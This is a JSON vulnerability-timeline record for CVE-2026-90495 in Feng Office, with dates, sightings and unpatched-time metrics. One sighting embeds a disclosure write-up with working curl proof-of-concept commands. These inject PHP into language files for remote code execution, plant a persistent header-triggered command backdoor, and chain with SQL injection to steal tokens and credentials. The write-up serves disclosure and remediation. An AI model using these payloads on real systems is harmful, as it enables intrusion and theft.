{"metadata": {"vulnerability": "cve-2026-90495", "count": 17, "kinds": {"milestone": 4, "sighting": 2, "kev": 0, "other": 11}}, "data": [{"timestamp": "2026-09-12T00:00:00Z", "date_only": false, "value": "2026-09-12T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "cve-2026-90495", "field": "containers.cna.timeline.0.time"}, {"timestamp": "2026-09-12T02:00:00Z", "date_only": false, "value": "2026-09-12T02:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "cve-2026-90495", "field": "containers.cna.timeline.1.time"}, {"timestamp": "2026-09-12T08:16:06.602Z", "date_only": false, "value": "2026-09-12T08:16:06.602Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2026-90495", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-09-12T10:21:19Z", "date_only": false, "value": "2026-09-12T10:21:19.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "cve-2026-90495", "field": "containers.cna.timeline.2.time"}, {"timestamp": "2026-09-13T03:30:05.543Z", "date_only": false, "value": "2026-09-13T03:30:05.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2026-90495", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-09-13T03:30:05.543Z", "date_only": false, "value": "2026-09-13T03:30:05.543Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulDB", "record": "cve-2026-90495", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-09-13T04:17:15Z", "date_only": false, "value": "2026-09-13T04:17:15Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-8VPG-VFM4-MHH5", "record": "GHSA-8VPG-VFM4-MHH5", "field": "database_specific.nvd_published_at"}, {"timestamp": "2026-09-13T04:17:15.717Z", "date_only": false, "value": "2026-09-13T04:17:15.717", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-90495", "record": "FKIE_CVE-2026-90495", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-09-13T06:10:06.389Z", "date_only": false, "value": "2026-09-13T06:10:06.389545Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/iaqbvi77niu3u", "record": "CVE-2026-90495", "field": "creation_timestamp", "uuid": "d649e5c6-491e-4b8f-8bfd-a47c722fc8db", "content": "CVE-2026-90495 - Fengoffice Feng Office Legacy API CompanyWebsite.class.php instance-&gt;findAll sql injection\nCVE ID : CVE-2026-90495\n \n Published : Sept. 13, 2026, 4:17 a.m. | 1\u00a0hour, 13\u00a0minutes ago\n \n Description : A vulnerability has been found in Fengoffice Feng Office up to...", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/iaqbvi77niu3u"}, {"timestamp": "2026-09-13T06:33:11Z", "date_only": false, "value": "2026-09-13T06:33:11Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8VPG-VFM4-MHH5", "record": "GHSA-8VPG-VFM4-MHH5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-09-13T06:33:11Z", "date_only": false, "value": "2026-09-13T06:33:11Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-8VPG-VFM4-MHH5", "record": "GHSA-8VPG-VFM4-MHH5", "field": "modified"}, {"timestamp": "2026-09-14T18:05:34.886Z", "date_only": false, "value": "2026-09-14T18:05:34.886975Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2026-90495", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-09-14T18:05:34.886Z", "date_only": false, "value": "2026-09-14T18:05:34.886975Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-90495", "record": "FKIE_CVE-2026-90495", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-09-14T18:07:48.002Z", "date_only": false, "value": "2026-09-14T18:07:48.002Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2026-90495", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-09-14T18:07:48.002Z", "date_only": false, "value": "2026-09-14T18:07:48.002Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2026-90495", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-09-14T20:56:48.220Z", "date_only": false, "value": "2026-09-14T20:56:48.220", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-90495", "record": "FKIE_CVE-2026-90495", "field": "lastModified"}, {"timestamp": "2026-10-14T08:59:33Z", "date_only": false, "value": "2026-10-14T08:59:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Marsh232/6dd58742d417911fed6dd2c94c85378a", "record": "CVE-2026-90495", "field": "creation_timestamp", "uuid": "e9bc7cba-a744-4fc5-885f-891f1ff2ba77", "content": "# Finding 1 \u2014 Authenticated PHP Code Injection \u2192 Remote Code Execution in Feng Office `ToolController::write_translations`\n\n**Status:** confirmed exploitable on **3.11.8.0** (this test), code identical in **3.11.13.11** (latest release) and current `master`.\n**CWE:** CWE-94 (Improper Control of Generation of Code)\n**CVSS 3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \u2014 **7.2** (requires Super Administrator privileges)\n\n---\n\n## Description\n\nFeng Office allows authenticated Super Administrators to inject arbitrary PHP code into generated language files via the translation tool (`index.php?c=tool&amp;a=translate`).\n\nIn `application/controllers/ToolController.class.php`, `write_translations()` escapes translation **values** (`escape_lang($v)`) but writes translation **keys** \u2014 fully attacker-controlled via the POST parameter `lang[]` \u2014 into a generated PHP file without any sanitization (line 455 in 3.11.8.0 / 3.11.13.11):\n\n```php\nfwrite($f, \" $v) {\n    fwrite($f, \"\\t'$k' =&gt; '\" . $this-&gt;escape_lang(\"$v\"). \"',\\n\");\n    //                     ^^^ key $k is raw, from $_POST['lang']\n}\nfwrite($f, \"); ?&gt;\\n\");\n```\n\nThe generated `language//.php` is `include`d by the `Localization` class on every request for that locale (`load_file_translations`), resulting in arbitrary PHP code execution with the privileges of the web server user.\n\n**Payload construction.** Because the key is wrapped in single quotes (`'$k'`), the injected key must itself supply the boundary quotes. A key of the form `' ,  , '` yields the valid expression:\n\n```php\n'' , passthru('id') , '' =&gt; '1',\n```\n\ninside `return array(...);` \u2014 list elements of an array initializer accept arbitrary expressions, including function calls. Only the *value* goes through `escape_lang()`; the key passes no validation at all.\n\nAn incorrect injection trivially causes `E_PARSE`, after which **every request of every user using that locale fails with HTTP 500** \u2014 a persistent, self-inflicted denial of service (demonstrated, see Evidence).\n\n## Preconditions / access control\n\n- `translate()` requires `can_manage_security(logged_user())` \u2014 i.e. the **Super Administrator** role (`user_type = 1`).\n- The PHP form parser truncates the key at the first `]`, so payloads must not contain `]` (e.g. `passthru('cmd')`, `getenv('HTTP_X')` are fine).\n\n## Impact\n\n- Standalone: Super Admin \u2192 RCE as the web server user (`www-data`).\n- Persistence: the language file is fully rewritten on each save and the injected code survives until the file is manually cleaned.\n- DoS: a malformed injection breaks the locale for all users (demonstrated: `E_PARSE` in `language/ru_ru/general.php`).\n- Escalation: in a chain with an unauthenticated SQL injection in the legacy API (`c=api&amp;auth=`, see CVE-2026-90495 for the same attack surface) \u2192 theft of permanent plaintext API tokens (`fo_contacts.token`) \u2192 Super Admin session \u2192 this injection \u2192 **unauthenticated end-to-end RCE**. On the original production engagement this chain also yielded `config/config.php` (DB credentials + `SEED`) and, via `cp_encrypt`, mass decryption of all user passwords.\n\n## Proof of Concept (verified on 3.11.8.0)\n\n```bash\n# 1. Inject PHP code into language file (authenticated Super Admin)\ncurl -sk -X POST -b \"\" \\\n  'http://TARGET/fengoffice/index.php?c=tool&amp;a=translate' \\\n  --data-urlencode \"lang[' , passthru('id') , ']=1\" \\\n  --data-urlencode \"file=general.php\" \\\n  --data-urlencode \"locale=ru_ru\"\n\n# Generated line in language/ru_ru/general.php (passes php -l):\n#   '' , passthru('id') , '' =&gt; '1',\n\n# 2. Trigger: any request that loads the ru_ru locale (e.g. set the attacker's\n#    account language to Russian, then):\ncurl -sk -b \"\" \"http://TARGET/fengoffice/index.php?c=dashboard\"\n# Response body begins with:\n#   uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n**Arbitrary command execution (full RCE).** Because the form parser truncates the key at `]` and `$_GET{'cmd'}` was removed in PHP 8, a command parameterization via `$_GET` is not possible; the command is instead supplied through an HTTP header (Apache exports it as `HTTP_X_CMD`). Injecting the key\n\n```\n' , passthru(getenv(\"HTTP_X_CMD\")) , '\n```\n\nyields the persistent line `'' , passthru(getenv(\"HTTP_X_CMD\")) , '' =&gt; '1',` (syntax-verified on PHP 8.2; executes only when the header is present, so the injection request itself is inert). Any subsequent request that loads the ru_ru locale \u2014 from any user, or unauthenticated visitors if the login page localizes \u2014 then executes the header value as a shell command:\n\n```bash\ncurl -sk -H \"X-Cmd: id\" \"http://TARGET/fengoffice/index.php?c=dashboard\" | head -1\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Affected versions\n\n- **Confirmed:** 3.11.8.0 (fully exploited, see Evidence).\n- **Code-identical:** 3.11.13.11 (latest release, line 455 unchanged), current `master`.\n- **Also affected:** the code is inherited from opengoo and is present across the 3.x line (originally identified on 3.4.3-rc).\n\n## Remediation\n\n- Validate translation keys against a strict allowlist regex, e.g. `^[A-Za-z0-9_.\\-]+$`, before writing.\n- Stop generating executable PHP from user input \u2014 store translations in JSON/data files, not PHP.\n- Remove `ToolController` from production builds; the translation tool should not be reachable in a live deployment.\n\n## Evidence (see ../evidence/)\n\n| File | Content |\n|---|---|\n| `f1_translate_response.html` | HTTP 200 response to the injection POST (`c=tool&amp;a=translate`) |\n| `f1_rce_trigger.html` | Dashboard response whose body starts with `uid=33(www-data) gid=33(www-data) groups=33(www-data)` \u2014 output of the injected `passthru('id')` |\n| `f1_parse_error_note.txt` | Observed `php -l` output after a malformed injection: `PHP Parse error: syntax error, unexpected single-quoted string \" , passthru(\" ... on line 305` \u2014 demonstrates the E_PARSE DoS facet |\n\nTimeline (UTC, 2026-10-13): 12:26 injection POST \u2192 generated line 305 in `language/ru_ru/general.php` \u2192 `php -l` clean \u2192 admin locale switched to ru_ru \u2192 12:28 dashboard request returned `uid=33(www-data)` \u2192 language file restored from backup, admin locale reset (lab cleaned after evidence capture).\n\n## References\n\n- Source: https://github.com/fengoffice/fengoffice \u2014 `application/controllers/ToolController.class.php` (`write_translations`)\n- Same vulnerability class (precedent): ExpressionEngine `Translate::save()` language-file key injection, KIS-2021-03\n- Related attack-surface CVE (SQLi, legacy API): CVE-2026-90495\n", "url": "https://gist.github.com/Marsh232/6dd58742d417911fed6dd2c94c85378a"}], "metrics": {"as_of": "2026-10-30T14:27:29.113Z", "anchors": {"origin": {"timestamp": "2026-09-13T03:30:05.543Z", "date_only": false, "value": "2026-09-13T03:30:05.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2026-90495", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-09-13T03:30:05.543Z", "date_only": false, "value": "2026-09-13T03:30:05.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2026-90495", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 4100243.570734, "hours": 1138.956547426111, "days": 47.456522809421294, "min_seconds": 4100243.570734, "max_seconds": 4100243.570734, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-09-13T03:30:05.543Z", "date_only": false, "value": "2026-09-13T03:30:05.543Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2026-90495", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-30T14:27:29.113Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
